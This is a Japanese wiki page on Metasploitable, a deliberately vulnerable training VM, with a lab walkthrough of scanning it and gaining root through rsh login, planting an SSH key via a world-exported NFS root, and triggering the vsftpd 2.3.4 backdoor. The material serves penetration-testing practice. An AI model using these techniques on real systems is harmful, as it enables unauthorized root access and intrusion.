Metasploitable

提供: セキュリティ
2013年11月10日 (日) 23:33時点におけるDaemon (トーク | 投稿記録)による版

移動: 案内検索
スポンサーリンク

Metasploitable とは、意図的に脆弱に作られた Linux 仮想マシンです。Metasploitable の仮想マシンは、セキュリティのトレーニング、セキュリティツールのテスト、一般的なペネトレーションテストテクニックの練習に役立ちます。

読み方

Metasploitable
めたすぷろいたぶる

概要

Metasploitable とは、意図的に脆弱に作られた Linux 仮想マシンです。 Metasploitable の仮想マシンは、セキュリティのトレーニング、セキュリティツールのテスト、一般的なペネトレーションテストテクニックの練習に役立ちます。

信頼できないネットワークに対しては、公開してはいけません。 NAT もしくは ホスト限定モードで使ってください。

ダウンロード

インストール

  • VMware のイメージで配布されているため、インストール作業はありません。

デフォルトのアカウント

デフォルトアカウントは、以下の通りです。

  • ID: msfadmin
  • パスワード: msfadmin

使い方

  1. VMware (VMware Player でよい)をインストールします。
  2. Metasploitable2-Linux の zip を解凍します。
  3. Metasploitable.vmx を実行します。

ディスカバリ

PingスイープMetasploitableLinux を探してみます。 nmap を実行しているホストは、192.168.60.232 で、 192.168.60.2 は、ゲートウェイです。よって、192.168.60.129 が Metasploitable です。

$ nmap -sn 192.168.60.1-254
 
Starting Nmap 5.51 ( http://nmap.org ) at 2013-06-23 02:29 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.60.2
Host is up (0.68s latency).
Nmap scan report for 192.168.60.129
Host is up (0.0016s latency).
Nmap scan report for 192.168.60.232
Host is up (0.00054s latency).
Nmap done: 254 IP addresses (3 hosts up) scanned in 22.05 seconds

nmap による調査

PingスイープMetasploitable を発見したら、 nmapポートスキャンを実行してみます。いろいろなプロトコルが開きまくってます。

$ sudo nmap -p0-65535 192.168.60.129
[sudo] password for foo:
 
Starting Nmap 5.51 ( http://nmap.org ) at 2013-06-23 06:45 JST
Nmap scan report for 192.168.60.129
Host is up (0.00033s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
35299/tcp open  unknown
41581/tcp open  unknown
57705/tcp open  unknown
57759/tcp open  unknown
MAC Address: 00:0C:29:FF:FF:FF (VMware)
 
Nmap done: 1 IP address (1 host up) scanned in 3.77 seconds

Webサーバ

Metasploitable は、Webサーバーを起動しています。

  • TWiki
  • phpMyAdmin
  • WebDAV

などが動いているようです。

$ curl -I 192.168.60.129
HTTP/1.1 200 OK
Date: Sun, 23 Jun 2013 13:20:36 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Type: text/html
$ curl 192.168.60.129
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

                _                  _       _ _        _     _      ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>

rsh でログイン試行をしてみる

metasploitable に root ユーザで rlogin (rsh) を実行してみましょう。rsh によるログインを許可しているため、root でログインできます。

$ rlogin -l root metasploitable
Last login: Sun Jun 23 04:30:50 EDT 2013 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
 
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#


NFS の情報を調べる

Network File System (NFS) を調べてみます。

$ rpcinfo -p metasploitable
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  41952  status
    100024    1   tcp  57759  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  35550  nlockmgr
    100021    3   udp  35550  nlockmgr
    100021    4   udp  35550  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  41581  nlockmgr
    100021    3   tcp  41581  nlockmgr
    100021    4   tcp  41581  nlockmgr
    100005    1   udp  59695  mountd
    100005    1   tcp  35299  mountd
    100005    2   udp  59695  mountd
    100005    2   tcp  35299  mountd
    100005    3   udp  59695  mountd
    100005    3   tcp  35299  mountd

Network File System (NFS) で export されているファイルシステムを調べてみます。

$ showmount -e metasploitable
Export list for metasploitable:
/ *

mount コマンドを用いて、Metasploitable の / がマウントできました。

sudo mount -t nfs metasploitable:/ /mnt

-e nolock を使うようにメッセージが出ました。

root@kali:~# mkdir /mnt/root
root@kali:~# mount -t nfs metasploitable:/ /mnt/root
mount.nfs: rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd.
mount.nfs: an incorrect mount option was specified
root@kali:~# mount -t nfs -o nolock metasploitable:/ /mnt/root

NFSを利用してSSHの公開鍵を設定し、sshで侵入する

rootユーザーのディレクトリを確認します。

root@kali:~# mkdir /mnt/root
root@kali:~# mount -t nfs -o nolock metasploitable:/ /mnt/root
root@kali:~# ls -a /mnt/root/root
.              .config     .gconf           .profile       .ssh
..             Desktop     .gconfd          .purple        .vnc
.bash_history  .filezilla  .gstreamer-0.10  reset_logs.sh  vnc.log
.bashrc        .fluxbox    .mozilla         .rhosts        .Xauthority
root@kali:~# ls -a /mnt/root/root/.ssh
.  ..  authorized_keys  known_hosts

ssh-keygensshの鍵を作成し、Metasploitablerootユーザーのauthorized_keysに追加します。

ssh-keygen
cat /root/.ssh/id_rsa.pub >> /mnt/root/root/.ssh/authorized_keys

先ほど作成したssh秘密鍵を用いて、Metasploitablesshを実行します。 rootユーザーでログインができました。

root@kali:~# ssh -i /root/.ssh/id_rsa metasploitable
The authenticity of host 'metasploitable (192.168.60.129)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'metasploitable,192.168.60.129' (RSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa':
Last login: Sun Jun 23 11:07:25 2013 from 192.168.60.232
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
 
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#

サービス: バックドア

Metasploitableでは、ポート21番でftpサーバーでよく知られているvsftpdが実行されています。 ftpサーバーにバックドアが仕掛けられています。

root@kali:~# telnet metasploitable 21
Trying 192.168.60.129...
Connected to metasploitable.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
root@kali:~# telnet metasploitable 21
Trying 192.168.60.129...
Connected to metasploitable.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@kali:~# telnet metasploitable 6200
Trying 192.168.60.129...
Connected to metasploitable.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
: command not found

サービス: 何気ないバックドア

root@kali:~# smbclient -L //metasploitable
Enter root's password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
 
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
 
        Server               Comment
        ---------            -------
        METASPLOITABLE       metasploitable server (Samba 3.0.20-Debian)
 
        Workgroup            Master
        ---------            -------
        WORKGROUP            METASPLOITABLE

distcc 脆弱性

関連項目




スポンサーリンク